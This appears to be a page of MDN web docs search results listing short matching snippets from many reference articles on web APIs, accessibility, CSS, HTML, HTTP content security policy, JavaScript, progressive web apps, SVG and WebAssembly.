... when using the webgl_compressed_texture_s3tc extension: ext.compressed_rgb_s3tc_dxt1_ext ext.compressed_rgba_s3tc_dxt1_ext ext.compressed_rgba_s3tc_dxt3_ext ext.compressed_rgba_s3tc_dxt5_ext when using the webgl_compressed_texture_s3tc_srgb extension: ext.compressed_srgb_s3tc_dxt1_ext ext.compressed_srgb_alpha_s3tc_dxt1_ext ext.compressed_srgb_alpha_s3...
...tc_dxt3_ext ext.compressed_srgb_alpha_s3tc_dxt5_ext when using the webgl_compressed_texture_etc extension: ext.compressed_r11_eac ext.compressed_signed_r11_eac ext.compressed_rg11_eac ext.compressed_signed_rg11_eac ext.compressed_rgb8_etc2 ext.compressed_rgba8_etc2_eac ext.compressed_srgb8_etc2 ext.compressed_srgb8_alpha8_etc2_eac ext.compressed_rgb8_punchthrough_alpha1_etc2 ext.compressed_srgb8_punchthrough_alpha1_etc2 when using the webgl_compressed_texture_pvrtc extension: ext.compressed_rgb_pvrtc_4bppv1_img ext.compressed_rgba_pvrtc_4bppv1_img ext.compressed_rgb_pvrtc_2bppv1_img ext.compressed_rgba_pvrtc_2bppv1_img when using the webgl_compressed_texture_etc1 extension: ...
...And 3 more matches
Matrix math for the web - Web APIs
x * c1r0) + (y * c1r1) + (z * c1r2) + (w * c1r3); // multiply the point against each part of the 3rd column, then add together let resultz = (x * c2r0) + (y * c2r1) + (z * c2r2) + (w * c2r3); // multiply the point against each part of the 4th column, then add together let resultw = (x * c3r0) + (y * c3r1) + (z * c3r2) + (w * c3r3); return [resultx, resulty, resultz, resultw]; } now using the function above we can multiply a point by the matrix.
... using the identity matrix it should return a matrix identical to the original, since a matrix multiplied by the identity matrix is always equal to itself: // sets identityresult to [4,3,2,1] let identityresult = multiplymatrixandpoint(identitymatrix, [4, 3, 2, 1]); returning the same point is not very useful, but there are other types of matrices that can perform helpful operations on points.
... you can't actually drink the coffee using only a translation matrix, because to drink it, you have to be able to tilt or rotate the cup to pour the coffee into your mouth.
...And 3 more matches
WebGL best practices - Web APIs
when using webgl extensions, if possible, try to make them optional by gracefully adapting to the case there they are not supported.
...the overhead for this is relatively low, but re-using vaos means fewer vertexattribpointer calls too, so it's worth doing wherever it's easy.
... use webgl.flush() when not using requestanimationframe when not using raf, (such as when using rpaf; see below) use webgl.flush() to encourage eager execution of enqueued commands.
...And 3 more matches
Web Audio API best practices - Web APIs
loading sounds/files there are four main ways to load sound with the web audio api and it can be a little confusing as to which one you should use.
...you can see an example of how to use this with the web audio api in the using the web audio api tutorial.
...we can use the same click event example here, test for the state of the context and start it, if it is suspended, using the resume() method.
...And 3 more matches
Example and tutorial: Simple synth keyboard - Web APIs
this article presents the code and working demo of a video keyboard you can play using the mouse.
... the keyboard allows you to switch among the standard waveforms as well as one custom waveform, and you can control the master gain using a volume slider beneath the keyboard.
...ngsbar"> <div class="left"> <span>volume: </span> <input type="range" min="0.0" max="1.0" step="0.01" value="0.5" list="volumes" name="volume"> <datalist id="volumes"> <option value="0.0" label="mute"> <option value="1.0" label="100%"> </datalist> </div> we specify a default value of 0.5, and we provide a <datalist> element which is connected to the range using the name attribute to find an option list whose id matches; in this case, the data set is named "volume".
...And 3 more matches
window.postMessage() - Web APIs
the data is serialized using the structured clone algorithm.
... if you do expect to receive messages from other sites, always verify the sender's identity using the origin and possibly source properties.
...a malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postmessage.
...And 3 more matches
XRReferenceSpace - Web APIs
the webxr device api's xrreferencespace interface describes the coordinate system for a specific tracked entity or object within the virtual world using a specified tracking behavior.
... all reference spaces—with the sole exception being bounded reference spaces—are described using the xrreferencespace type.
...see the article using bounded reference spaces to protect the viewer for more on using boundaries to keep the user from colliding with obstacles both physical and virtual.
...And 3 more matches
ARIA live regions - Accessibility
using javascript, it is possible to dynamically change parts of a page without requiring the entire page to reload — for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction.
... including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using javascript.
...regions are identified just like an id in a div, and multiple regions can be associated with a control using a space, e.g.
...And 3 more matches
ARIA: Complementary role - Accessibility
using the <aside> element will automatically communicate a section has a role of complementary.
... developers should always prefer using the correct semantic html element over using aria.
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
...And 3 more matches
ARIA: img role - Accessibility
<div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> description any set of content that should be consumed as a single image (which could include images, video, audio, code snippets, emojis, or other content) can be identified using role="img".
... therefore, provide a comprehensive overall descriptive alt text for image, either in the surrounding text, or by using an aria-label attribute, with optional alt attributes for search engines or sighted users to be written to the page should an image fail: <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> if you wish to add a caption or label to your image that is visible on the page, you can do using: aria-labelledby when the text is a concise l...
... <p id="image-1">text that describes the group of images.</p> </div> svg and role="img" if you are using embedded svg images in your page, it is a good idea to set role="img" on the outer <svg> element and give it a label.
...And 3 more matches
Web applications and ARIA FAQ - Accessibility
however, many users may still be using older versions of these technologies.
... you may want to consider implementing aria using progressive enhancement techniques—such as adding aria using javascript, not directly to your markup—in order to more gracefully support older browsers and assistive technologies.
...here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /> this progress bar is built using a <div>, which is not very descriptive.
...And 3 more matches
Text labels and names - Accessibility
examples the following example shows a simple dialog box, defined as such using role="dialog" and labelled using aria-labelledby.
...if the title is not available, they have to navigate the page to determine its content, which can be a time consuming and potentially confusing process.
...without a title, users of assistive technologies have to navigate into the frame in order to understand what it contains, which can be difficult and confusing.
...And 3 more matches
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
if you were using a horizontal-tb writing mode with a right-to-left text direction then margin-inline-start would be the same as margin-right, and in a vertical writing mode it would be the same as using margin-top.
...as these are new properties check browser support before using.
... in the example below i have two boxes, one of which is using physical padding properties and the other logical padding properties.
...And 3 more matches
Basic Shapes - CSS: Cascading Style Sheets
css shapes can be defined using the <basic-shape> type, and in this guide i’ll explain how each of the different values accepted by this type work.
... the reference box understanding the reference box used by css shapes is important when using basic shapes, as it defines each shape's coordinate system.
...in the screenshot below i have created a circle, using shape-outside: circle(50%).
...And 3 more matches
Adding captions and subtitles to HTML5 video - Developer guides
in other articles we looked at how to build a cross browser video player using the htmlmediaelement and window.fullscreen apis, and also at how to style the player.
... this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element.
... the <track> element html5 allows us to specify subtitles for a video using the <track> element.
...And 3 more matches
A hybrid approach - Developer guides
luckily, we aren’t technically constrained to using client-side techniques here: another option is to use server-side user-agent detection to show the user the proper content.
... using user-agent detection specifically for content and not layout also allows you to have a single url for each piece of content, so that the content can adapt its layout to the user’s browser.
...but even if it does not work, it is no worse with respect to performance than only using fluid images.
...And 3 more matches
Writing forward-compatible websites - Developer guides
to avoid this, fully qualify global variable access using "window.", like so: <script> function localname() { alert('function localname has been called'); } </script> <div onclick="window.localname()">clicking me should show an alert<div> don't concatenate scripts you don't control the "use strict;" directive in ecmascript, when used on the file level, applies to everything in the file.
...if you have a single code path that works in all the top engines, it means that you are either using features where browser behavior has already converged or, if the behavior hasn't quite converged yet, your code works regardless of which engine's behavior standards turn out to uphold.
... avoid depending on cutting-edge nonstandard features even if the feature is prefixed, using it could be dangerous: as the specification evolves the browser's prefixed implementation can likewise change to track the specification.
...And 3 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
this protects users from having private data exposed by using images to pull information from remote web sites without permission.
... let's assume we're serving our site using apache.
...ownload (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = imageurl; } we're using a hard-coded url here (imageurl), but that could easily come from anywhere.
...And 3 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
note: when using target, add rel="noreferrer noopener" to avoid exploitation of the window.opener api; note: in newer browser versions (e.g.
...deprecated for being very confusing.
... using the download attribute to save a <canvas> as a png to save a <canvas> element’s contents as an image, you can create a link with a download attribute and the canvas data as a data: url: example painting app with save link html <p>paint by holding down the mouse button and moving it.
...And 3 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
WebHTMLElementdfn
usage notes there are some not-entirely-obvious aspects to using the <dfn> element.
...the element must still have text within it, but that text may be an abbreviation (perhaps using <abbr>) or another form of the term.
... links to <dfn> elements if you include an id attribute on the <dfn> element, you can then link to it using <a> elements.
...And 3 more matches
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
for those of you using a browser that doesn't support month, the screenshot below shows what it looks like in chrome and opera.
... you can also get and set the date value in javascript using the htmlinputelement.value property, for example: <label for="bday-month">what month were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2017-06"> var monthcontrol = document.queryselector('input[type="month"]'); monthcontrol.value = '1978-06'; additional attributes in addition to the attributes common to <input> elements, month inputs offer the follow...
... using month inputs date-related inputs (including month) sound convenient at first glance; they promise an easy ui for choosing dates, and they normalize the data format sent to the server, regardless of the user's locale.
...And 3 more matches
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users.
... if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
... note: avoid using the placeholder attribute if you can.
...And 3 more matches
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
you can also get and set the value in javascript using the input element's value property, for example: var weekcontrol = document.queryselector('input[type="week"]'); weekcontrol.value = '2017-w45'; additional attributes in addition to the attributes common to <input> elements, week inputs offer the following attributes: attribute description max the latest year and week to accept as valid input min the ea...
... using week inputs week inputs sound convenient at first glance, since they provide an easy ui for choosing weeks, and they normalize the data format sent to the server, regardless of the user's browser or locale.
... using the step attribute you should be able to use the step attribute to vary the number of weeks jumped whenever they are incremented or decremented, however it doesn't seem to have any effect on supporting browsers.
...And 3 more matches
<sub>: The Subscript element - HTML: Hypertext Markup Language
WebHTMLElementsub
subscripts are typically rendered with a lowered baseline using smaller text.
... for example, using <sub> to style the name of a company which uses altered baselines in their wordmark would not be appropriate; instead, css should be used (likely the vertical-align property, such as vertical-align: sub or, to more precisely control the baseline shift, vertical-align: -25%.
... marking up the subscript in mathematical variable numbers (although you may also consider using a mathml formula for this).
...And 3 more matches
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
WebHTMLElementu
this is rendered by default as a simple solid underline, but may be altered using css.
... be careful to avoid using the <u> element with its default styling (of underlined text) in such a way as to be confused with a hyperlink, which is also underlined by default.
... other elements to consider using in most cases, you should use an element other than <u>, such as: <em> to denote stress emphasis <b> to draw attention to text <mark> to mark key words or phrases <strong> to indicate that text has strong importance <cite> to mark the titles of books or other publications <i> to denote technical terms, transliterations, thoughts, or names of vessels in western texts to provide textual annotations (as opposed to the non-textual annotations created with <u>), use the...
...And 3 more matches
Global attributes - HTML: Hypertext Markup Language
that means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer html5-compliant.
... draggable an enumerated attribute indicating whether the element can be dragged, using the drag and drop api.
... dropzone an enumerated attribute indicating what types of content can be dropped on an element, using the drag and drop api.
...And 3 more matches
Feature Policy - HTTP
restrict a site from using sensitive apis like camera or microphone.
... writing a policy a policy is described using a set of individual policy directives.
... for more details see using feature policy.
...And 3 more matches
Accept-Encoding - HTTP
using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header.
... header type request header forbidden header name yes syntax accept-encoding: gzip accept-encoding: compress accept-encoding: deflate accept-encoding: br accept-encoding: identity accept-encoding: * // multiple algorithms, weighted with the quality value syntax: accept-encoding: deflate, gzip;q=1.0, *;q=0.5 directives gzip a compression format using the lempel-ziv coding (lz77), with a 32-bit crc.
... compress a compression format using the lempel-ziv-welch (lzw) algorithm.
...And 3 more matches
CSP: base-uri - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: default-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: img-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: manifest-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: object-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: prefetch-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: script-src-attr - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: script-src-elem - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: script-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: style-src-attr - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: style-src-elem - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
CSP: worker-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 3 more matches
Expressions and operators - JavaScript
destructuring for more complex assignments, the destructuring assignment syntax is a javascript expression that makes it possible to extract data from arrays or objects using a syntax that mirrors the construction of array and object literals.
...strings are compared based on standard lexicographical ordering, using unicode values.
...ession result binary description 15 & 9 9 1111 & 1001 = 1001 15 | 9 15 1111 | 1001 = 1111 15 ^ 9 6 1111 ^ 1001 = 0110 ~15 -16 ~ 0000 0000 ... 0000 1111 = 1111 1111 ... 1111 0000 ~9 -10 ~ 0000 0000 ... 0000 1001 = 1111 1111 ... 1111 0110 note that all 32 bits are inverted using the bitwise not operator, and that values with the most significant (left-most) bit set to 1 represent negative numbers (two's-complement representation).
...And 3 more matches
Numbers and dates - JavaScript
« previousnext » this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascript.
... this includes using numbers written in various bases including decimal, binary, and hexadecimal, as well as the use of the global math object to perform a wide variety of mathematical operations on numbers.
...there are caveats to using bigint, however; for example, you can't mix and match bigint and number values in the same operation, and you can't use the math object with bigint values.
...And 3 more matches
Text formatting - JavaScript
you can create strings using string literals or string objects.
... string literals you can create simple strings using either single or double quotes: 'foo' "bar" more advanced strings can be created using escape sequences: hexadecimal escape sequences the number after \x is interpreted as a hexadecimal number.
...with unicode code point escapes, any character can be escaped using hexadecimal numbers so that it is possible to use unicode code points up to 0x10ffff.
...And 3 more matches
Inheritance and the prototype chain - JavaScript
javascript is a bit confusing for developers experienced in class-based languages (like java or c++), as it is dynamic and does not provide a class implementation per se (the class keyword is introduced in es2015, but is syntactical sugar, javascript remains prototype-based).
...since ecmascript 2015, the [[prototype]] is accessed using the accessors object.getprototypeof() and object.setprototypeof().
...// so when p inherits the function m of o, // 'this.a' means p.a, the property 'a' of p using prototypes in javascript let's look at what happens behind the scenes in a bit more detail.
...And 3 more matches
Array.prototype.forEach() - JavaScript
using shift()) during the iteration, later elements will be skipped.
...kindly make sure you are aware of the implications while using promises(or async functions) as foreach callback.
... the following example illustrates an alternative approach, using foreach().
...And 3 more matches
Intl.RelativeTimeFormat() constructor - JavaScript
examples basic format usage the following example shows how to create a relative time formatter using the english language.
...const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
... rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1).
...And 3 more matches
Intl.RelativeTimeFormat.prototype.format() - JavaScript
examples basic format usage the following example shows how to create a relative time formatter using the english language.
...const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
... rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1).
...And 3 more matches
Object.create() - JavaScript
the object.create() method creates a new object, using an existing object as the prototype of the newly created object.
...this is especially true when debugging, since common object-property converting/detecting utility functions may generate errors, or simply lose information (especially if using silent error-traps that ignore errors).
...for example: a simple common debugging function: // display top-level property name:value pairs of given object function showproperties(obj){ for(var prop in obj){ console.log(prop + ": " + obj[prop] + "\n" ); } } not such simple results: (especially if silent error-trapping had hidden the error messages) ob={}; ob.po=oco; ob.pn=ocn; // create a compound object using the test objects from above as property values > showproperties( ob ) // display top-level properties - po: [object object] - error: cannot convert object to primitive value note that only first property gets shown.
...And 3 more matches
Object.prototype.__proto__ - JavaScript
instead, create a new object with the desired [[prototype]] using object.create().
...for objects created using an object literal, this value is object.prototype.
... for objects created using array literals, this value is array.prototype.
...And 3 more matches
Promise - JavaScript
to learn about the way promises work and how you can use them, we advise you to read using promises first.
... // in reality, you will probably be using something like xhr or an html5 api.
..." + successmessage) }); example with diverse situations this example shows diverse techniques for using promise capabilities, and diverse situations that can occur.
...And 3 more matches
Digital video concepts - Web media technologies
there are two primary methods used to represent rgb samples: using integer components and using floating-point components.
... when using integer components, rgb color uses 8 bits each of red, green, and blue, as well as potentially 8 bits of alpha (the amount of transparency).
...doing so allows color data to be represented using fewer total bits of space in a video stream.
...And 3 more matches
Web Performance
in summary, we should always try to create our animations using css transitions/animations where possible.
...since that's a universal issue, we won't be focusing on it too much here.
...this article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it.using dns-prefetchdns-prefetch is an attempt to resolve domain names before resources get requested.
...And 3 more matches
Progressive loading - Progressive web apps (PWAs)
if you're past that point, then you can start thinking about optimizing the image loading using javascript.
... this problem can be solved with the new intersection observer api — using this we can ensure that images will be loaded only when they appear in the viewport.
... intersection observer this is a progressive enhancement to the previously working example — intersection observer will load target images only when the user scrolls down, causing them to display in the viewport.
...And 3 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
previous overview: progressive web apps next now that we’ve seen what the structure of js13kpwa looks like and have seen the basic shell up and running, let's look at how the offline capabilities using service worker are implemented.
...you are able to give a service worker something to work on, and receive the result whenever it is ready using a promise-based approach.
... "progressive" in pwa when implemented properly as a progressive enhancement, service workers can benefit users who have modern browsers that support the api by providing offline support, but won't break anything for those using legacy browsers.
...And 3 more matches
Graphic design for responsive sites - Progressive web apps (PWAs)
css media queries allow us to serve different css rules dependant on viewport dimensions, and you should consider using mobile first media queries where possible.
...you could use css3 properties for generating effects like drop shadows, gradients and rounded corners, and you could also consider using svg for other ui elements, instead of raster graphics formats.
... using fonts for icons another technique to consider is using web fonts for icons.
...And 3 more matches
Mobile first - Progressive web apps (PWAs)
if you are using mechanisms like feature detection and matchmedia to conditionally load scripting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain.
...i installed the volo automation tool by running the following on the command line sudo npm install -g volo (you'll also need to get node.js too if you don't already have it) i then created my sample project using volo create myapp mozilla/mortar-app-stub this creates a sample project inside a directory called myapp.
...display: table makes the <article> and its children display in a table layout, without abusing table markup.
...And 3 more matches
dominant-baseline - SVG: Scalable Vector Graphics
ideographic the baseline-identifier for the dominant-baseline is set to be ideographic, the derived baseline-table is constructed using the ideographic baseline-table in the font, and the baseline-table font-size is changed to the value of the font-size attribute on this element.
... alphabetic the baseline-identifier for the dominant-baseline is set to be alphabetic, the derived baseline-table is constructed using the alphabetic baseline-table in the font, and the baseline-table font-size is changed to the value of the font-size attribute on this element.
... hanging the baseline-identifier for the dominant-baseline is set to be hanging, the derived baseline-table is constructed using the hanging baseline-table in the font, and the baseline-table font-size is changed to the value of the font-size attribute on this element.
...And 3 more matches
textLength - SVG: Scalable Vector Graphics
the user agent will ensure that the text does not extend farther than that distance, using the method or methods specified by the lengthadjust attribute.
... by using textlength, you can ensure that your svg text displays at the same width regardless of conditions including web fonts failing to load (or not having loaded yet).
... four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 60" xmlns="http://www.w3.org/2000/svg"> <text y="20" textlength="6em">small text length</text> <text y="40" textlength="120%">big text length</text> </svg> usage notes value <length-percentage> | <number> default value none animatable yes <length-percentage> this value specifies the width of the space the text will be adjusted to occupy as absolute length or percentage.
...And 3 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
using the xsltprocessor.getparameter() method, the code can figure whether to sort in ascending or descending order.
...the sorting value is set using xsltprocessor.setparameter().
... 12 setting parameters xslt while running transformations using precoded .xsl and .xml files is quite useful, configuring the .xsl file from javascript may be even more useful.
...And 3 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten.
... prerequisites get the emscripten sdk, using these instructions: https://emscripten.org/docs/getting_started/downloads.html compiling an example with the environment set up, let's look at how to use it to compile a c example to emscripten.
...take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following command: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the command are as follows: -s wasm=1 — specifies that we want wasm output.
...And 3 more matches
Compiling from Rust to WebAssembly - WebAssembly
to build a part of an application — using rust in an existing javascript frontend.
... for now, the rust team is focusing on the latter case, and so that's what we cover here.
... in this tutorial, we build an npm package using wasm-pack, a tool for building npm packages in rust.
...And 3 more matches
Classes and Inheritance - Archive of obsolete content
as it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code.
... classes in javascript are defined using constructor functions.
...we will show how to define classes using constructors, and how to use prototypes to efficiently define member functions on each instance.
...And 2 more matches
io/text-streams - Archive of obsolete content
); textreader.close(); } } return text; } function writetexttofile(text, filename) { var fileio = require("sdk/io/file"); var textwriter = fileio.open(filename, "w"); if (!textwriter.closed) { textwriter.write(text); textwriter.close(); } } globals constructors textreader(inputstream, charset) creates a buffered input stream that reads text from a backing stream using a given text encoding.
... you can also create textreader objects using io/file's open() function.
... textwriter(outputstream, charset) creates a buffered output stream that writes text to a backing stream using a given text encoding.
...And 2 more matches
test/assert - Archive of obsolete content
each test will be passed an assert object when you run the tests using jpm test.
... notequal(actual, expected, message) tests that two objects are not equal, using !=: assert.notequal(1, 2, "test that one is not two"); parameters actual : object the actual result.
... notdeepequal(actual, expected, message) tests that two objects do not have a deep equality relation, using the negation of the test for deep equality: assert.notdeepequal({ a: "foo" }, object.create({ a: "foo" }), "object's inherit from different prototypes"); parameters actual : object the actual result.
...And 2 more matches
Tutorials - Archive of obsolete content
this page lists practical hands-on articles about how to accomplish specific tasks using the sdk.
... getting started walkthrough of creating a simple add-on with the sdk, using jpm.
... interact with the browser open a web page open a web page in a new browser tab or window using the tabs module, and access its content.
...And 2 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
about extensions management using the add-ons manager firefox's add-ons manager is an excellent way to manage extensions, and is a great step up in ease of use.
... the add-ons manager handles the following tasks: safely installs and uninstalls add-ons makes sure add-ons are compatible with the version of firefox you're using manages a whitelist of sites trusted for installing add-ons helps troubleshoot add-ons by disabling them and offering a safe mode confirms and runs updates provides access to add-ons' settings dialogs provides access to add-ons' support sites development environment amenities initially, there wasn't adequate documentation available, and extension developers were largely left to fend for themselves1; however, now there's a considerable store of knowledge.
... this lowers the threshold both to using and to developing extensions; that fact, combined with firefox's rapidly growing popularity, has created a positive feedback loop, with the number of extension users and extension developers growing explosively—there are now more than 7000 extensions and themes published at the firefox add-ons site (https://addons.mozilla.org).
...And 2 more matches
Local Storage - Archive of obsolete content
you first specify the file using nsifile and then use nsifile.create() to actually write it out to disk.
... you can also check if an nsifile exists using nsifile.exists().
... there are two paths you can take when creating the local database you'll be using for your extension: generate the database file (through mozistorageservice.opendatabase(), all tables (through mozistorageconnection.createtable(), and initial data when your extension starts up for the first time.
...And 2 more matches
List of Mozilla-Based Applications - Archive of obsolete content
the following is a list of all known active applications that are built using mozilla technologies.
...rsonal genome browser esxx javascript application server uses mozilla rhino etna xml wysiwyg editor eudora mail and news application the upcoming version 8 will be based on thunderbird evergreen library automation system evolution email client uses nss exe elearning xhtml editor seems to be using xul for some of their webui facebook open platform facebook open platform the fbml parser used in the platform is based on mozilla code fennec browser for mobiles as mark notes: fennec is not firefox, it’s a completely different application findthatfont!
...r google gadgets for linux google’s desktop widget engine uses xulrunner according to the build instructions grani grain sizing assessment tool according to this wiki page grani is based on xul and xpcom daim gwt-mosaic-xul xul builder for google web tools hachette's multimedia encyclopedia electronic encyclopedia this product was using mozilla in 2004 but i’m not sure if new version still does hacketyhack little coders helma web application framework uses mozilla rhino holt mcdougal cd-roms educational cd-roms activity generator and lab generator are both based on custom firefox distributions houdini 3d animation tools uses gecko in embedded help viewer htt...
...And 2 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
fast forward to 2001, and the rise of standards-based browsers that lay out pages using html and css instead of their own private layout algorithms.
... you can do this by using a doctype that will trigger either "quirks" mode or "almost standards" mode, or not having a doctype appear in your document at all.
... using vertical alignment the other main choice is leave the image inline and alter the vertical alignment of the image with respect to the line box.
...And 2 more matches
Style System Overview - Archive of obsolete content
the data format of the structs and selectors is mostly clear from the code and not worth going into (although the implementation of :not() is confusing).
... to match rules, we do lookups in the rulehash's tables, remerge the lists of rules using stored indices, and then call selectormatchestree to find which selectors really match.
...in this case: inherited structs: same value as parent style context (optimization breaks when property has non-inherit value) reset structs: same struct for every style context using rule node (optimization breaks when a value is explicit inherit) reset structs: rule nodes have the same shared struct as their parent (optimization breaks when a property is specified with a different value or when there is an explicit inherit value).
...And 2 more matches
JavaScript Client API - Archive of obsolete content
please note that usage of the sync apis is governed by a terms of service: by accessing or using the firefox sync apis in connection with the development of your own client software to access the firefox sync services (a “third party client”), you acknowledge that you will need to install and use a local version of the firefox sync server for multiple account testing and that any use of mozilla’s hosted firefox sync services is subject to mozilla’s firefox sync terms of service at ht...
...hat your third party client will not hide or mask its identity as it uses the services and/or firefox sync apis, including by failing to follow required identification conventions; and (e) that you and your third party client will not use the firefox sync apis for any application or service that replicates or attempts to replicate the services or firefox sync experience unless such use is non-confusing (by non-confusing, we mean that people should always know with whom they are dealing and where the information or software they are downloading came from).
...the sync algorithm will call your store object with a record to be created, updated, or removed, and it is your store object's responsibility to apply this change to the local application using whatever methods are neccessary.
...And 2 more matches
Creating a Help Content Pack - Archive of obsolete content
this document describes how to integrate html help documentation into your application using the mozilla help viewer.
... documentation contained in the help viewer can be accessed using any xul application or program that embeds mozilla.
... creating a content pack the content pack descriptor file as mentioned earlier, the content pack descriptor file is written using rdf.
...And 2 more matches
Introducing the Audio API extension - Archive of obsolete content
try to avoid using it.
...avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision.
...playing, pausing, and seeking the audio also affect the streaming of this raw audio data.
...And 2 more matches
RDF Datasource How-To - Archive of obsolete content
an "address book" datasource could translate a database file into statements like "spammer128@hotmail.com's real name is 'billy dumple'" and "spammer128@hotmail.com is considered an 'important friend'." statements from one datasource can be combined with statements from another datasource using a composite datasource.
...this can be useful if your datasource is "read-only", and you aren't worried about modification using assert(), etc.
...using xul, you can display the contents of your datasource in a tree control, a menu, or a toolbar.
...And 2 more matches
Running Tamarin acceptance tests - Archive of obsolete content
notes on using acceptance runtests.py threading in order to speed up the execution time of the acceptance testsuite, the runtests script automatically detects the number of cores on the machine and sets an equivalent number of threads.
... in order to use threading on windows you must install windows python and invoke runtests using that python executable in cygwin.
